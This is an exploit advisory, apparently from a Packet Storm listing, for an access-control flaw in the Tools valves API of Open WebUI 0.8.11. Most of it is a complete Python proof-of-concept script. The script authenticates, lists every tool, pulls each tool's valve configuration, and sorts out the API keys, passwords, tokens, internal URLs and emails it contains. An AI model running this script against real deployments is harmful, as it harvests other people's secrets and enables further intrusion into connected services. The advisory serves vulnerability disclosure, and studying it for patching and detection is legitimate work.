Share
## https://sploitus.com/exploit?id=PACKETSTORM:219780
==================================================================================================================================
    | # Title     : Open WebUI 0.8.11 Improper Access Control in Tools Valves API Leads to Exposure of Sensitive Configuration Data  |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/open-webui/open-webui                                                                         |
    ==================================================================================================================================
    
    [+] Summary    : A potential access control issue was identified in Open WebUI where the Tools API and associated β€œvalves” endpoints may expose sensitive configuration data when accessed with valid authentication tokens. 
                     The affected endpoints allow retrieval of tool metadata and configuration structures that may include secrets such as API keys, passwords, tokens, endpoints, and internal service URLs.
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import requests
    import json
    import sys
    import argparse
    from typing import Dict, List, Optional
    from urllib.parse import urljoin
    
    
    class OpenWebUIExploit:
        def __init__(self, base_url: str, token: str, verbose: bool = False):
            self.base_url = base_url.rstrip('/')
            self.token = token
            self.verbose = verbose
            self.session = requests.Session()
            self.session.headers.update({
                'Authorization': f'Bearer {token}',
                'Content-Type': 'application/json'
            })
    
        def log(self, message: str, level: str = "INFO"):
            if not self.verbose and level == "DEBUG":
                return
    
            colors = {
                "INFO": "\033[94m",
                "SUCCESS": "\033[92m",
                "ERROR": "\033[91m",
                "WARNING": "\033[93m",
                "DEBUG": "\033[90m"
            }
            print(f"{colors.get(level, '')}[{level}] {message}\033[0m")
    
        def get_all_tools(self) -> List[Dict]:
            try:
                url = urljoin(self.base_url, '/api/v1/tools/')
                response = self.session.get(url)
    
                if response.status_code == 200:
                    try:
                        tools = response.json()
                        if isinstance(tools, dict):
                            tools = tools.get("data", [])
                        self.log(f"Found {len(tools)} tools", "SUCCESS")
                        return tools
                    except:
                        self.log("Invalid JSON response", "ERROR")
                        return []
                else:
                    self.log(f"Failed to get tools: {response.status_code}", "ERROR")
                    return []
            except Exception as e:
                self.log(f"Error getting tools: {e}", "ERROR")
                return []
    
        def get_tool_valves(self, tool_id: str) -> Optional[Dict]:
            try:
                url = urljoin(self.base_url, f'/api/v1/tools/id/{tool_id}/valves')
                response = self.session.get(url)
    
                if response.status_code == 200:
                    try:
                        valves = response.json()
                        self.log(f"Extracted valves for: {tool_id}", "SUCCESS")
                        return valves
                    except:
                        self.log("Invalid valves JSON", "ERROR")
                        return None
    
                elif response.status_code == 404:
                    self.log(f"Tool not found: {tool_id}", "WARNING")
                    return None
    
                else:
                    self.log(f"Failed valves request: {response.status_code}", "ERROR")
                    return None
    
            except Exception as e:
                self.log(f"Error getting valves: {e}", "ERROR")
                return None
    
        def extract_sensitive_data(self, valves: Dict) -> Dict:
            sensitive = {
                "api_keys": [],
                "passwords": [],
                "tokens": [],
                "secrets": [],
                "urls": [],
                "emails": []
            }
    
            api_key_patterns = ['api_key', 'apikey', 'api-key', 'apiKey']
            password_patterns = ['password', 'pass', 'pwd', 'secret']
            url_patterns = ['url', 'endpoint', 'host', 'server']
            email_patterns = ['email', 'user']
    
            def scan_value(key: str, value, depth=0):
                if depth > 10:
                    return
    
                key_lower = str(key).lower()
    
                if isinstance(value, str):
    
                    if any(p in key_lower for p in api_key_patterns):
                        sensitive["api_keys"].append({key: value})
                    if any(p in key_lower for p in password_patterns):
                        sensitive["passwords"].append({key: value})
                    if any(p in key_lower for p in url_patterns) and "http" in value:
                        sensitive["urls"].append({key: value})
                    if any(p in key_lower for p in email_patterns) and "@" in value:
                        sensitive["emails"].append({key: value})
    
                elif isinstance(value, dict):
                    for k, v in value.items():
                        scan_value(k, v, depth + 1)
    
                elif isinstance(value, list):
                    for i, item in enumerate(value):
                        scan_value(str(i), item, depth + 1)
    
            for k, v in valves.items():
                scan_value(k, v)
    
            return sensitive
    
        def exploit(self, tool_id: Optional[str] = None) -> Dict:
            results = {
                "success": False,
                "tools_examined": [],
                "sensitive_data": []
            }
    
            if tool_id:
                valves = self.get_tool_valves(tool_id)
    
                if valves:
                    sensitive = self.extract_sensitive_data(valves)
    
                    results["tools_examined"].append(tool_id)
                    results["sensitive_data"].append({
                        "tool_id": tool_id,
                        "valves": valves,
                        "sensitive": sensitive
                    })
                    if any(sensitive.values()):
                        results["success"] = True
    
            else:
                tools = self.get_all_tools()
    
                if not tools:
                    self.log("No tools found", "WARNING")
                    return results
    
                for tool in tools:
                    tool_id = tool.get('id')
                    tool_name = tool.get('name', 'Unknown')
    
                    if not tool_id:
                        continue
    
                    valves = self.get_tool_valves(tool_id)
    
                    if not valves:
                        continue
    
                    sensitive = self.extract_sensitive_data(valves)
    
                    results["tools_examined"].append(tool_id)
                    results["sensitive_data"].append({
                        "tool_id": tool_id,
                        "tool_name": tool_name,
                        "valves": valves,
                        "sensitive": sensitive
                    })
    
                    if any(sensitive.values()):
                        results["success"] = True
                        self.log(f"Sensitive data found in {tool_name}", "WARNING")
    
            return results
    
    
    def print_results(results: Dict):
        print("\n" + "=" * 70)
        print("RESULTS")
        print("=" * 70)
    
        if not results["success"]:
            print("\n[-] No sensitive data found")
            return
    
        for item in results["sensitive_data"]:
            print("\n" + "-" * 50)
            print(f"Tool: {item.get('tool_name', item.get('tool_id'))}")
    
            sensitive = item.get("sensitive", {})
    
            for key, values in sensitive.items():
                if values:
                    print(f"\n[!] {key.upper()}:")
                    for v in values:
                        print(f"    {v}")
    
        print("\n" + "=" * 70)
    
    
    def get_token_from_login(base_url: str, email: str, password: str) -> Optional[str]:
        try:
            url = urljoin(base_url, '/api/v1/auths/signin')
            r = requests.post(url, json={"email": email, "password": password})
    
            if r.status_code == 200:
                return r.json().get("token")
    
        except:
            pass
    
        return None
    
    
    def main():
        parser = argparse.ArgumentParser()
        parser.add_argument('-u', '--url', required=True)
        parser.add_argument('-t', '--token')
        parser.add_argument('-e', '--email')
        parser.add_argument('-p', '--password')
        parser.add_argument('-i', '--tool-id')
        parser.add_argument('-v', '--verbose', action='store_true')
    
        args = parser.parse_args()
    
        token = args.token
    
        if not token and args.email and args.password:
            token = get_token_from_login(args.url, args.email, args.password)
    
        if not token:
            print("[-] No token provided")
            sys.exit(1)
    
        exploit = OpenWebUIExploit(args.url, token, args.verbose)
        results = exploit.exploit(args.tool_id)
    
        print_results(results)
    
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================